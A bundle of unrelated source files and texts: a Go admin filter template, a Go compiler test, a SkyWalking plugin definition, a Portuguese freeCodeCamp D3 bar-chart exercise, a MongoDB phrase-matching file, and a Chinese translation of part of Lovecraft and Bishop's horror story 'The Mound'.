{{if .Filter.Config.Select2ResultTemplate}} <script name="select2-result-template" type="x-tmpl-mustache"> {{.Filter.Config.Select2ResultTemplate}} </script> {{end}} {{if .Filter.Config.Select2SelectionTemplate}} <script name="select2-selection-template" type="x-tmpl-mustache"> {{.Filter.Config.Select2SelectionTemplate}} </script> {{end}} {{$value := .Filter.Config.FilterValue .Filter .Context}} <advanced-filter-group type="filter-selectone" class="clearfix"> <label class="qor-field__label"> {{t (printf "%v.filter.%v" .Resource.ToParam .Filter.Label) .Filter.Label}} </label> <select data-toggle="qor.chooser" {{if $value}}chooser-selected="true"{{end}} data-placeholder="{{t (printf "%v.filter.%v" .Resource.ToParam .Filter.Label) .Filter.Label}}" name="{{.InputNamePrefix}}.Value" data-allow-clear="true" {{if .Filter.Config.RemoteDataResource}}data-remote-data="true" data-remote-url="{{url_for .Filter.Config.RemoteDataResource}}"{{end}} filter-required> {{if .Filter.Config.RemoteDataResource}} {{if $value}} <option value="{{primary_key_of $value}}" selected>{{stringify $value}}</option> {{else}} <option></option> {{end}} {{else}} <option></option> {{range $values := (.Filter.Config.GetCollection nil .Context)}} {{if (is_equal $value (index $values 0))}} <option value="{{index $values 0}}" selected>{{index $values 1}}</option> {{else}} <option value="{{index $values 0}}">{{index $values 1}}</option> {{end}} {{end}} {{end}} </select> </advanced-filter-group>
{ "pile_set_name": "Github" }
// run // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package main type Element interface { } type Vector struct { } func (v *Vector) Insert(i int, e Element) { } func main() { type I struct { val int; }; // BUG: can't be local; works if global v := new(Vector); v.Insert(0, new(I)); } /* check: main_sigs_I: not defined */
{ "pile_set_name": "Github" }
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. light4j=org.apache.skywalking.apm.plugin.light4j.define.LightInstrumentation
{ "pile_set_name": "Github" }
--- id: 587d7fa8367417b2b2512bcd title: Create a Bar for Each Data Point in the Set challengeType: 6 videoUrl: '' localeTitle: Crie uma barra para cada ponto de dados no conjunto --- ## Description <section id="description"> O último desafio adicionou apenas um retângulo ao elemento <code>svg</code> para representar uma barra. Aqui, você combinará o que aprendeu até agora sobre formas <code>data()</code> , <code>enter()</code> e SVG para criar e anexar um retângulo para cada ponto de dados no <code>dataset</code> . Um desafio anterior mostrou o formato de como criar e anexar um <code>div</code> para cada item no <code>dataset</code> : <blockquote> d3.select (&quot;body&quot;). selectAll (&quot;div&quot;) <br> .data (conjunto de dados) <br> .entrar() <br> .append (&quot;div&quot;) </blockquote> Existem algumas diferenças trabalhando com elementos <code>rect</code> vez de <code>divs</code> . Os <code>rects</code> devem ser anexados a um elemento <code>svg</code> , não diretamente ao <code>body</code> . Além disso, você precisa dizer ao D3 onde colocar cada <code>rect</code> dentro da área <code>svg</code> . O posicionamento da barra será coberto no próximo desafio. </section> ## Instructions <section id="instructions"> Use os métodos <code>data()</code> , <code>enter()</code> e <code>append()</code> para criar e anexar um <code>rect</code> para cada item no <code>dataset</code> . As barras devem exibir todas em cima umas das outras, isso será corrigido no próximo desafio. </section> ## Tests <section id='tests'> ```yml tests: - text: Seu documento deve ter 9 elementos <code>rect</code> . testString: 'assert($("rect").length == 9, "Your document should have 9 <code>rect</code> elements.");' - text: Seu código deve usar o método <code>data()</code> . testString: 'assert(code.match(/\.data/g), "Your code should use the <code>data()</code> method.");' - text: Seu código deve usar o método <code>enter()</code> . testString: 'assert(code.match(/\.enter/g), "Your code should use the <code>enter()</code> method.");' - text: Seu código deve usar o método <code>append()</code> . testString: 'assert(code.match(/\.append/g), "Your code should use the <code>append()</code> method.");' ``` </section> ## Challenge Seed <section id='challengeSeed'> <div id='html-seed'> ```html <body> <script> const dataset = [12, 31, 22, 17, 25, 18, 29, 14, 9]; const w = 500; const h = 100; const svg = d3.select("body") .append("svg") .attr("width", w) .attr("height", h); svg.selectAll("rect") // Add your code below this line // Add your code above this line .attr("x", 0) .attr("y", 0) .attr("width", 25) .attr("height", 100); </script> </body> ``` </div> </section> ## Solution <section id='solution'> ```js // solution required ``` </section>
{ "pile_set_name": "Github" }
/** * Copyright (C) 2018-present MongoDB, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the Server Side Public License, version 1, * as published by MongoDB, Inc. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * Server Side Public License for more details. * * You should have received a copy of the Server Side Public License * along with this program. If not, see * <http://www.mongodb.com/licensing/server-side-public-license>. * * As a special exception, the copyright holders give permission to link the * code of portions of this program with the OpenSSL library under certain * conditions as described in each individual source file and distribute * linked combinations including the program with the OpenSSL library. You * must comply with the Server Side Public License in all respects for * all of the code used other than as permitted herein. If you modify file(s) * with this exception, you may extend this exception to your version of the * file(s), but you are not obligated to do so. If you do not wish to do so, * delete this exception statement from your version. If you delete this * exception statement from all source files in the program, then also delete * it in the license file. */ #include "mongo/db/fts/fts_basic_phrase_matcher.h" #include "mongo/platform/strcasestr.h" namespace mongo { namespace fts { using std::string; bool BasicFTSPhraseMatcher::phraseMatches(const string& phrase, const string& haystack, Options options) const { if (options & kCaseSensitive) { return haystack.find(phrase) != string::npos; } return strcasestr(haystack.c_str(), phrase.c_str()) != nullptr; } } // namespace fts } // namespace mongo
{ "pile_set_name": "Github" }
## The Mound ## 丘 #### 原著:H.P.Lovecraft & Zealia Bishop #### 译者:竹子 译者声明: 本译者英语水平有限,多数采取意译为主,不敢称精准,只求忠实。精通西文、看过原版者自然可发现该版的误译不符之处,务必请一一指正;或有写文高人,塑造气氛之大师也请点拨一二,在下也诚惶诚恐,虚心受教。如发觉用词怪异,描述离奇之现象虽当追究译者责任也须考虑克苏鲁神话本身多有怪异修辞手法的问题。故如有考据党希望详细考证,可向译者寻求英文原文,或者共同探讨。 ----------- <u>» Click to show Spoiler - click again to hide... «</u> 本文写于1929年到1930年间,为洛夫克拉夫特与齐里亚·毕夏普**女士**合著——也有说法称此文为洛夫克拉夫特为毕夏普代笔创作的。虽然完成时间很早,但此文在洛夫克拉夫特生前并未出版,而是在他死后第三年,1940年,经过德雷斯大幅度删节后发表在了《Weird Tales》上。随后删节版被阿卡姆印刷社多次重印,一直等到1989年,完整版才在《The Horror in the Museum and Other Revisions》上得以面世——由于来源问题,我与糖果都只阅读过这一版的《The Mound》,所以我们并不清楚这是哪一个版本,如果谁看到另一个版本欢迎联系我。 本文属于我私下划分的洛夫克拉夫特文明三点五部曲中的第一部正式作品。虽然不如后来的《疯狂山脉》与《超越时间之影》那么出名,但事实上本文依然非常出彩。作为洛夫克拉夫特创作的第一部正式讲述他族文明的小说,虽然不如后期的两部作品那么大胆富有想象力,但是明显可以看到小说里的很多思想在后面的两部作品中得到了很好的继承与发展。 本文另一个特点是,由于这个故事是毕夏普起头的,所以洛夫克拉夫特并没有使用阿卡姆这样后来常用的虚拟地点,而是实实在在地将故事的地点搬到了一个现实存在的地点——俄克拉荷马州宾格镇,甚至文中提到的土丘以及其他一些细节都取自当地 (那个土丘的位置就在北纬35.4,西经98.6附近,你可以在Google地图上看到它,虽然已经不太像30年代的那个样子了) 。 另外,也可能是由于毕夏普的原因,本文出现了一个有名字的女性角色 (虽然不是主角) ,这在洛夫克拉夫特的小说中也算是极其少见的现象——爱手艺貌似有些性别歧视,不过女权运动还没兴起的美国这倒也不是啥问题。 ----------- ### I 直到最近几年,大多数人才开始不再将西部看成一片新的疆域。我猜人们之所以会有这种概念是因为我们的文明在不久之前才抵达这里的缘故;但如今的探险家们在这片地表上不断地挖掘,并为我们翻开了许多新的生命篇章。早在有记录的历史开始之前,这些生命就在那片平原与群山之间崛起和陨落。如今,一个有着两千五百年历史的普韦布洛印第安人村落对我们来说已经不足为奇了,当考古学家将墨西哥地区的亚佩德雷加尔[注]文明的历史提前到公元前一万七千或一万八千年时,也很难让我们感到错愕。我们还曾听到过一些关于某些更加古老事物的传闻——与某些已经绝种了的动物处于同一时代的人类,现在的人们只能通过少量破碎的骨头和人工制品才能得知他们的存在。所以,那种新疆域的观念很快便消退了。欧洲人经常会感觉到一些极其古老的东西,一些从连续不断的生命长河里积累沉淀下来的东西——在这一方面他们要比我们美国人出色得多。就在几年之前,一个英国作家还曾称亚利桑那州是一个“月光黯淡得可爱的地方,荒凉,古老,一片古老、孤寂的土地。” _[注:佩德雷加尔,现巴拿马的一个镇,曾是美洲文明的重要中心之一]_ 然而,我相信,关于西部这片土地有多么古老,我有着更加深刻、更令人目瞪口呆——甚至更令人骇然——的认识,甚至比任何欧洲人都要更加深刻。这全都是因为一件发生在1928年的事情;我很希望能将那件事情的绝大部分都当做幻觉来解释,但它却在我的记忆里留下了一个牢固得可怖的印象,以至于我无法实在轻易地将它搁在一边。那件事情发生在俄克拉荷马州。我这个研究美洲印第安民族的学者经常会造访那里,而且也曾在那里遇到过某些极其古怪和让人不安的事情。不错——俄克拉荷马州不单单只是一片属于拓荒者与创办人的边疆。那是一块古老的土地,有着古老的部落,以及非常古老的记忆;每到秋季,当印第安人手鼓的敲打声开始无休止地回荡在阴郁的平原上时,人们的精神也跟着被危险地带近了某些原始的、只有在窃窃私语中才会被谈及的东西。虽然我是个白人,而且来自东部,但是任何人想要了解众蛇之父-伊格的典礼都会受到欢迎,只是那典礼在任何时候都会让我感到真正的不寒而栗。我已经听说和眼见过太多关于这种事情的“诡辩”了。所以,我也希望能将1928年发生的那件事情一同一笑置之——但我却做不到。 我去俄克拉荷马州是为了查访一个鬼故事,并试着将它与其他一些我所了解到的东西关联起来。这故事是流传在白人移民者中的众多鬼故事之一,却在印第安人中流传着强有力的证据,而且——我敢肯定——它最终也有着一个印第安源头。这些发生在户外的鬼故事都非常奇怪;而且虽然它们从白人嘴里讲出来时既平淡又乏味,却都与土著神话中某些最晦涩、最富想象力的片段有着明显的联系。所有这些传说都围绕着这个州西部某些巨大的、仿佛人工塑造的独立山丘展开,而且所有故事里提到的幽灵都有着非常奇异的样貌与穿着。 在那些最古老的故事里,最寻常的那个曾在1892年间名噪一时。当年一位名叫约翰·威利斯的政府法警因为追踪三个偷马贼而走进了那片有着山丘的地区,当他从山区出来时,带回来了一个颇为疯狂的故事。故事里提到了夜晚时候,有看不见的幽灵大军中的骑兵在空中交战——战场上总会有马蹄和步兵冲锋时的声音,弓箭发出的砰击声,金属相撞发出的叮当声,战士们隐约不清的呐喊声以及,人和马跌落时发出的声响。这些事情都发生在月光下,把他和他的马都吓得不轻。这些声音每次会持续一个小时左右;栩栩如生,只是有些模糊不清,仿佛是被风从远处带来的一般,但是却怎么也看不见那些军队。后来,威利斯意识到那些声音发出来的地方是一处臭名昭著的闹鬼地点,不论是移民者还是印第安人都会刻意地回避那里。许多人都曾在那里看见,或者隐约看见,天空中有骑兵在交战,并且也因此留下了许多晦涩、模棱两可的描述。移民者声称那些幽灵战士都是印第安人,但却不是他们所熟知的部落,而且还有着极其古怪的装束与武器。他们甚至说,他们自己也不敢保证那些骑兵骑着的马是不是真的马。 另一方面,当地的印第安人却似乎并不将那些幽灵视为同类。印第安人称这些幽灵为“那些人”,“过往之人”,“那些居于地下的”,而且似乎对这些东西有着一种特殊的畏惧与崇敬,同时也不愿意过多地谈论它们。任何一个民族学家都没办法让哪个讲故事的人为他具体地描述一下那些东西的模样,而且显然也没有谁曾非常清楚仔细地观察过它们。印第安人有一两条有关此类现象的谚语,意思是说:“那些年长的,灵魂也会跟着长大;那些年幼的,灵魂则会很小;那些至老之人,他的灵魂会长得与他的肉身一样大;那些年长者的灵魂与肉体混合在一起——最后变得完全一样。” 当然,所有这些故事对于一个民族学家来说已经不再算什么新鲜事了——它们全都属于某类传说中的一部分,这类源远流长的传说总会提到某些隐匿起来的华丽城市与被埋葬在地下的族群,而且在普韦布洛[注1]以及平原上的印第安人间流传甚广。甚至早在数世纪之前,这类传说还曾诱使西班牙探险者科罗拉多[注2]徒劳地试图搜寻到传说中的基维拉[注3]。但让我决定深入俄克拉荷马州西部的东西则要比这些故事确凿、肯定得多——那是一个独特的传说,并且只在一定地区内流传。虽然这个故事已经非常古老了,但是外界对于它的研究才刚刚展开。特别的是,这个传说第一次清晰地描述了故事里所涉及的那些幽灵们。当得知这个故事来自于喀多郡上偏远的宾格镇时,我更平添了一份激动。长久以来我都知道,那块地方曾发生过一些与蛇神神话有关、非常可怕甚至有些无法解释的事情。 _[注1:美国科罗拉多州一地名,名字的意思是印第安人的村落]_ _[注2:西班牙探险家Francisco Vázquez de Coronado,曾与1540到1542年间造访了新墨西哥以及美国南部的一些地区,此人毕生的愿望就是寻找到传说中的七座黄金城。]_ _[注3:Francisco Vázquez de Coronado在寻找七座金城时第一次提到了这个地方,但对于这个地方的具体位置,现在一直存有争论。]_ 从表面上看,这个传说非常地幼稚和简单。故事发生在距离村庄西面一英里远的一座土丘上。这座巨大的土丘,或者说小山,孤单地耸立在平原上——有些人认为那座土丘是自然的产物,但也有其他一些人相信那里曾经是一处墓地,或是某些史前部落修建的典礼台。村民们声称这座土丘上经常会交替出现两个印第安人鬼魂:其中一个是一位老人,不论天气如何,他都会在从拂晓到黄昏的这段时间里,出现在山顶上来回踱步,只是偶尔会短暂地消失不见;另一个则是名印第安女子,她会在夜晚时分现身,带着一柄蓝色的火炬,安静地持续闪烁到黎明天亮时分。在月光明亮的晚上,女人的奇怪形象看得非常清楚,而且半数以上的村民都认为那鬼魂是没有头部的。 当地人对于那两只鬼魂的目的以及它们之间的关系有着两种不尽相同的看法。有些人认为那个男人其实并不是鬼魂,而是个活生生的印第安人。他为了一些黄金而砍下了那个女人的头,并将她埋在了土丘上的某个地方。那些怀有这种想法的人声称,男人在高处来回踱步纯粹是出于良心上的不安,那个只有在晚上才会现形的受害者的鬼魂将他束缚在那里不能离开。但另一些人关于这些鬼魂的理论则要更统一一些。他们认为不论是男人还是女人其实都是鬼魂;在遥远的过去,那个男人杀死了女人,接着便在那里自杀了。总之,自从1889年威奇托乡建立以来,这两种故事以及其他一些有着细微变动的版本就一直在当地流传着。而且,有人告诉我,这个故事的可验证性高得令人惊讶,因为故事里闹鬼的景象现在依旧存在,而且任何人都能亲自去看一看。没有多少鬼故事能够提供出如此自由、公开的证据,所以我很希望能去看一看这座远离拥挤人群与科学知识那无情的检视的小乡村里到底潜藏着怎样的异乎寻常的奇迹。所以,在1928年的夏天,我搭上了去宾格镇的火车。当车厢沿着单行的铁轨胆怯地摇晃着、横穿越来越荒凉的景色时,我正埋头苦思那些奇妙的神秘事物。 宾格镇坐落一片常年大风、红色尘土飞扬的平原上。那是一个有着很多木屋和仓库的镇子,却并不算非常拥挤。除去居住在临近保留区里的印第安人,当地有大约五百名居民;当地人从事主要的工作似乎是农业生产。这里的土地很肥沃,而且石油开采的热潮还没有触及俄克拉荷马州的这一地区。火车在黄昏时分停了下来,而当它喷出烟雾,撇下我向着南方继续前进时,我感觉颇为失落与不安——仿佛自己已经与那些正常的、每天都能接触到的事物完全隔离开了一般。月台上站满了好奇的闲散人员,而当我试图寻访那个曾给我写信、向我介绍当地情况的人时,似乎所有人都热切地希望为我指路。于是我在其他人的带领下,沿着一条普通的大街走了下去。大街上满是车辙的路面是土红色的,混杂着乡下的砂岩土壤。走了一段路后,我终于被带到了计划中接待我的那家人门前。那些为我安排事宜的人做得相当不错;因为康普顿先生是一个非常聪明,而且在当地也颇有威信的人,而他那与他居住在一起的母亲——大家都亲切地叫她“康普顿祖母”——是第一批抵达这里的拓荒者中的一员。对我来说,她就像是一座装满了民间传说与轶事奇闻的宝库。 那天晚上,康普顿一家为我总结了所有那些现在仍流传在村民间的传说,也证明了我准备研究的那一现象的确是一桩重要同时也令人困惑的案例。对于宾格镇的居民来说,那些鬼魂似乎已经成了一件理所当然的事情。在这座孤单而奇怪的古冢以及它上面那永不安宁的鬼魂的陪伴下,已经先后有两代人在这里出生与长大了。与土丘毗邻的地区也自然而然地也让人们感到恐惧,并被人们有意地避开。因此,即便自定居此地已过了整整四十年了,当地的村民与农夫却并没有向土丘那个方向进行过任何的迁移或开垦;但是也有些愿意冒险的人曾造访过那里。有些人回来报告说当他们靠近那座令人畏惧的小山时,并没有看到任何的鬼魂;不知为何,那出现在山顶的孤单哨兵在他们抵达目的地前就离开了他们的视线,留下他们徒劳地攀上陡峭的山坡,勘探平坦的峰顶。他们说,那里什么也没有——仅仅是一片宽阔而且高低不平的灌木丛。至于那山顶上的印第安守望者是在哪里消失的,他们则毫无头绪。他们觉得,他肯定攀下了山坡,然后以某种方式在他们看不到的情况下逃离了;可是那里并没有什么能易于遮挡视线的东西。在对四处的灌木丛与高茅草进行过大量的勘察之后,那些探险者认定,不论如何,那里都没有一个可以进入土丘的入口。在少数几次搜寻中,某些更加敏锐的搜索者声称他们感觉到那里存在着某种看不见的阻碍;但是他们也没办法作出更具体一些的描述了。那就好像是他们前进方向上的空气变得稠密了,阻碍着他们的移动。不用说,所有这些勇敢的调查行动都是在白天完成的。这宇宙里还没有什么东西能诱使人们,不论他是白人还是印第安人,在入夜之后接近那不祥的高地;事实上,即使是在阳光最明亮的时候,也没有哪个印第安人想要接近那里。 但是当地居民对于那座鬼丘的大部分恐惧情绪并不是因为那些回来时依旧神智清醒、感官敏锐的探索者们所讲述的故事而引起的;事实上,如果他们的经历真的具有代表性的话,这一现象在当地传说中的地位会要比现在差得多。事实上,这其中最让人感到邪恶与不祥的是其他一些人的遭遇——还有许多人从那里回来后,他们的身体和心理上都受到了奇怪的损害;更有些人根本就没有回来。第一例此类事情发生在1891年,当时一名叫做希顿的年轻人带着一把铁锹爬上了土丘,想看看自己能否发掘出一些被隐藏起来的秘密。希顿曾从印第安人那里听说过一些奇怪的故事,并对另一个曾从土丘上安全回来却一无所获的年轻人所做出的乏味报告嗤之以鼻。在那个年轻人攀登土丘的时候,希顿曾站在村子里用望远镜仔细观察过土丘;他看到,当那个探险者接近闹鬼的地方时,那个放哨的印第安人从容不迫地走进了土丘里,就好象那个土丘顶部存在着一扇活门或是楼梯一般。而那个攀登土丘的年轻人却并没有注意到山顶上的印第安人是如何消失的,仅仅只是在爬到山顶时才发现到他已经不见了。 当西顿开始自己的探险之旅时,他下定决心要揭开谜底。那些站在村子里的观察者们看到他勤劳地在山顶的灌木丛里挥砍着。接着他们看到西顿的身影渐渐地下沉,然后消失不见了,并且在几个小时里都没有再出现过。到后来黄昏降临,那个无头女人的火炬开始在远方的高处可怖地闪烁起来,可人们却仍然看不到西顿的身影。入夜后,大约又过了两个小时,他终于摇摇晃晃地走进了村子。当人们发现他时,他随身带的铁锹和其他物件早已不知所踪,而他则突然兀自尖声大喊出了一些毫无关联的疯话。他嚎叫着描述了某些令人惊骇的深渊与怪物、某些可怖的雕刻与塑像,某些完全不似人类的追捕者与离奇怪诞的拷问,以及其他一些太过复杂和荒诞甚至都让人根本没法记住的奇异见闻。“古老的!古老的!古老的!”他一遍又一遍呻吟着。“老天啊!他们比地球还要古老,他们从其他地方来——他们知道你在想什么,而且能让你知道他们在想什么——他们是半人半鬼——跨过了那条线——融化了,又再次长出新形状来——变得越来越多,我们一开始全都起源于他们——图鲁[注]之子!——所有一切都是金子做的——可怕的动物,半人——死的奴隶——太疯狂了——耶!莎布·尼古拉丝——_那个白人——噢!老天在上,他们对他做了什么!……_” _[注:原文为Tulu]_ 希顿就这样疯疯癫癫的过了八年,在那之后他死于癫痫发作。但发生在希顿身上的不幸遭遇只是个开始,在那之后还有两起因为土丘而引起的精神错乱,以及八起失踪案。就在希顿疯疯癫癫地返回之后,立即就有三个心智坚定、不顾一切的家伙决定一同搜索那座孤单耸立的小山;他们全副武装,带着铁锹与鹤嘴锄。站在远处观望的村民们看见几个探索者接近丘顶的时候,那个印第安人鬼魂逐渐消失了,接着他们看见那几个人爬上了丘顶,开始在矮树丛中搜索。接着,突然之间,他们消失得无影无踪,并且从此之后再也没有人见过他们。其中有个观察者有着一只特别好的望远镜,他觉得自己看到了其他一些模糊不清的东西出现在了那群无助的人身边,并把他们拖进了土丘里;但这个说法并没有得到证实。自然,也没有哪个搜寻队愿意去搜索那些失踪者,并且在许多年里,都再也没有人造访那座土丘。只有等到发生在1891年的那些事情大部分都被遗忘了之后,才有人敢考虑进一步探索那块地方。接着,大约1910年的时候,一个非常年轻、根本不记得那些恐怖过去的家伙重新造访了那片为人们所回避的地方,但却一无所获。 到了1915年,那个发生在1891年、既骇人又疯狂的传奇已经黯淡褪色了,逐渐演变成了现存的那些缺乏想象力、稀疏平常的鬼故事中的一部分——白人就是如此健忘。在附近的保留区里,老一代的印第安人则更深思熟虑,并且一直保留着自己的忠言。在这个时候,逐渐旺盛的好奇心与冒险精神迎来了第二轮发展,几个大胆的搜索者爬上了土丘,然后又折返了回来。接着又有两个东部来的人带着铁锹和其他设备打算攀登土丘——他们是一对来自某所名气不大的大学里的业余考古学家,当时曾在做一些有关印第安人的研究。这一次没有人在村子里关注他们的行动,而他们也再也没有回来。后来出发寻找他们的搜索队——现在招待我的其克莱德·康普顿也在其中——在土丘上一无所获。 在那之后是老劳顿上校进行的一次单人探险。这位头发斑白的拓荒者曾在1889年协助人们开辟了这片地区,但却一直没有留在这里。虽然如此,在其间这些年,他都一直记得那座土丘以及它的神秘魅力;于是在过上了舒适的退休生活后,他决定要试着揭开这个古老的谜题。由于深谙印第安人神话,使得他的想法比那些单纯的村民要奇怪得多,而且他也为多方面的研究做好了准备。他于1916年5月11日,星期四的早晨开始攀登土丘。至少二十人站在村子里和周围平地上通过望远镜注视他的一举一动。当他拿着灌木割草机切割灌木时,他突然从人们的视野里消失了。任何人都只知道上一刻他还在那里,接着下一刻他就不见了。在近一周的时间里,没有他折返回宾格镇的消息,然后——在一个午夜里——一个人拖着身子爬回到村子里,关于那个人的争论直到现在仍旧在激烈地继续着。 据说,那就是——或者说那曾经是——劳顿上校,但是他明显要比那个攀登土丘的老人要年轻至少四十岁以上。那个人的头发还是漆黑的,他的脸——虽然因某些难以形容的恐惧而扭曲——却没有丝毫的皱纹。但是他让康普顿祖母极不寻常地想起了上校在1889年时的模样。他脚踝部位以下的脚掌被整齐地切掉了,对于一个在一星期前还在直立行走的人来说,脚踝断处的愈合程度光滑得不可思议。他模糊不清地说着某些完全无法理解的事情,并且不断重复着那个名字“乔治·劳顿,乔治·E·劳顿。”仿佛在努力想要向自己确认自己的身份一样。康普顿祖母觉得,他那模糊不清的念叨奇怪地像是1891年时,可怜的年轻人西顿所说过的妄语;但两者之间还有些细微的区别。“那蓝光!——那蓝光!…”那家伙喃喃自语到“一直就在那下面,早在任何活物之前就在那里——比恐龙更早——总是一样的,只是更弱小——从不会死亡——潜伏、潜伏、潜伏——同样的人,一半是人一半是空气——那已死的还在行走和工作——噢!那些野兽,那些半人的独角兽——马与黄金城市——古老的、古老的、古老的,比时间还要古老——从群星上来——伟大的图鲁——阿撒托斯——奈亚拉托提普——等待着,等待着……”那个家伙在黎明之前就死掉了。 当然,在那之后进行了一次调查。调查人员对保留区里的印第安人进行了无情地盘问。但他们什么也不知道,也说不出什么来。除了老灰鹰[注]外,没有人想说些什么。灰鹰是威奇托地区的一位酋长,他足比一个世纪还长的年纪让他脱离了那些普通的畏惧。他独自一人对调查员说了些忠告。 _[注: Grey Eagle,按印第安人的命名习惯,这应该是他的英文名。]_ “别去管他们,白人。坏人,那些人是坏人。都住在这下面,都在那下面,他们是老一代。伊格,所有蛇的父亲,他就在那里。伊格就是伊格。泰尔华[注1],所有人的父亲,他也在那里。泰尔华就是泰尔华。他们不会死,也不会变老,就像空气一样。存在着,等待着。曾经,他们出来到这里,生活并战斗。建造泥土锥形帐篷。带来黄金——他们有着很多黄金。离开那里,建造新的棚屋。我和他们,你和他们。然后大水来了。所有事情都变了。没有人再出来,也没有人进去。进去的,没有出来的。别去管他们,你没有坏东西[注2]。红人们[注3]知道这些事情,没有人被捉住。白人多管闲事,就回不来了。离那些小山远些。那里不好。这是灰鹰说的。” _[注1:Tiráwa,出自北美印第安人波尼部落的神话。其中泰尔华是波尼神话的创世神。]_ _[注2:原文为 you have no bad medicine。]_ _[注3:即印第安人。]_ 如果乔·诺顿与朗斯·惠洛克听从了老酋长的劝告,也许时至今日,他们仍然还健在人世;但他们没有。他们博览群书,是坚定的唯物者,对世间的一切都无所畏惧;他们觉得是某些邪恶残暴的印第安人把那座土丘当作了总部。他们曾经去过土丘,所以他们决定再次造访那里为老劳顿上校寻个公道——自夸说如果必要,他们会把那座土丘切成两半。当时,克莱德·康普顿用双目望远镜在远处观察他们的活动。他看到他们绕着那座不祥的小山山脚转圈。显然,他们打算要对自己的目的地进行细致周密的调查。然而,几分钟之后,他们没有再出现。从此之后亦再也没有人见过他们。 于是土丘再一次成为了引起恐慌的焦点,只有一次世界大战的激烈战况才将它驱回到远离人们视线的宾格镇传说里。从1916年到1919年,都再没有人去过那里,如果不是因为那些从法国参军回来的年轻人的蛮勇,也不会再有人攀登那里。然而,从1919年到1920年,考察土丘这一活动在那些经历过战争、过早变得坚定冷酷的年轻老兵间变得流行起来——随着一个又一个老兵傲慢而又毫发无损复员归来,这种活动变得越来越流行起来。人类是何等的健忘,到了1920年,土丘在当地几乎已经成了个笑话;而那个关于被杀妇女的乏味故事又开始出现在人们言谈中,渐渐替换掉了那些更加阴暗邪恶的传闻。后来一对鲁莽的兄弟——克雷家那两个特别缺乏想象力而又强硬死板的小伙子——决定爬上土丘,挖出那个被埋起来的妇女,以及那些传说中的黄金——按照传说的说法,那个老印第安人就是为了这些黄金才杀掉那个女人的。 他们于九月的一下午出发了——也就是那段时候,每年一次、从不间断的印第安人手鼓声再次开始回荡在平坦的红土平原上。当时没有人关注他们,甚至他们出发几个小时后仍不见踪影的情况也并没有让他们的父母感到担心。然后,人们渐渐开始惊慌,并且组建了搜索队,而后无可奈何地接受了这个充满沉默与怀疑的神秘局面。 但到了最后,他们中的一个还是回来了。回来的是年长的爱德,当他回来时,他原本稻草色的头发与胡子已经变成了白化症般的白色,而且足足有两英寸长。在他的前额有着一个奇怪的伤疤,像是一个烙出来的象形文字。在他和他兄弟沃克消失三个月后,他在一天晚上偷偷摸摸地回到了自己的屋子里,他身上什么也没有穿,只裹着一条印着奇异花纹的毛毯。当他穿上一套自己的衣服后,便立刻将毛毯塞进了炉火里。他告诉他的父母说,一些既不属于维奇塔部族也不属于喀多部族的古怪印第安人抓住了他与沃克,并且把他们关在西面的某个地方。沃克已经死于折磨,但他想办法以很高的代价成功地逃了出来。他的经历非常可怕,但他现在还不能详述。他必须休息——不论如何,制造恐慌或是试图寻找并惩罚那些印第安人都是毫无用处的。他们并不是那种能被抓住或被惩罚的东西,为了宾格镇——为了这个世界——最好还是不要将他们赶进他们的秘密巢穴。事实上,他们和人们所说的印第安人并非完全一样——他会稍后解释这些问题。但这个时候他必须休息,而且最好也不要向村民们宣布他回来的消息——他想上楼去睡一觉。在他爬上摇晃的楼梯回到自己的房间之前,他从起居室的桌子上拿走了一张便签纸与一只铅笔,然后又从他父亲的桌子抽屉里拿走了一把手枪。 三个小时后,传来了一声枪响。爱德·克雷用拽在自己左手里的手枪干净利落地将一颗子弹射进了额角,并在他床边摇晃的桌子上留下了一张字条。字条上稀稀拉拉地写着一些文字。从削下的铅笔屑和满炉烧过的纸灰来看,他原本写了很多东西;但他最后决定不多说什么,只是留下了一些模糊的暗示。仅存的片段文字不过是一段疯狂的警告,而且爱德·克雷还非常奇怪反常地从左向右用潦草的笔迹书写下了这些文字——那看起来就像是心智被重重苦难折磨得发狂后发出的胡言乱语,而且对于一个过去言辞冷淡麻木、实事求是的人来说,这些话语显得颇为出人意料: _看在老天的份上不要走近那座土丘它是某个古老邪恶得难以描述的世界的一部分我和沃克走过去并被带了进去那东西有时候熔化然后又重新复原而对于他们的能力外面的整个世界只能无助地搁在一旁——他们随自己心愿永远活在年轻的时候而且你说不清楚他们是不是真正的人或者只是鬼——他们的作为我不敢去说而且这只是1个入口——你说不出那整个东西有多大——在我们看到那些东西后我再也不想活下去了相比这些东西法国战场根本不算什么——老天啊如果他们看到可怜的沃克最后成了什么样子人们肯定会离那里远远的。_ _你真挚的_ _爱德·克雷_ _[注:原文如此,只有最后一个句号。]_ 尸检的时候,人们发现年轻的爱德·克雷身体内所有的器官都被左右调换了,就好象那些器官在他身体里彻底地转了个方向。当时没有人知道这是不是天生的,但后来根据军队的记录,爱德在1919年五月退伍时一切正常。这期间是不是有什么地方弄错了,或者还是他身上的确发生了某些前所未闻的蜕变,这一切仍没有合理的解释。与此同样没有合理答案的,还有那个留在他前额上、类似象形文字般的伤痕。 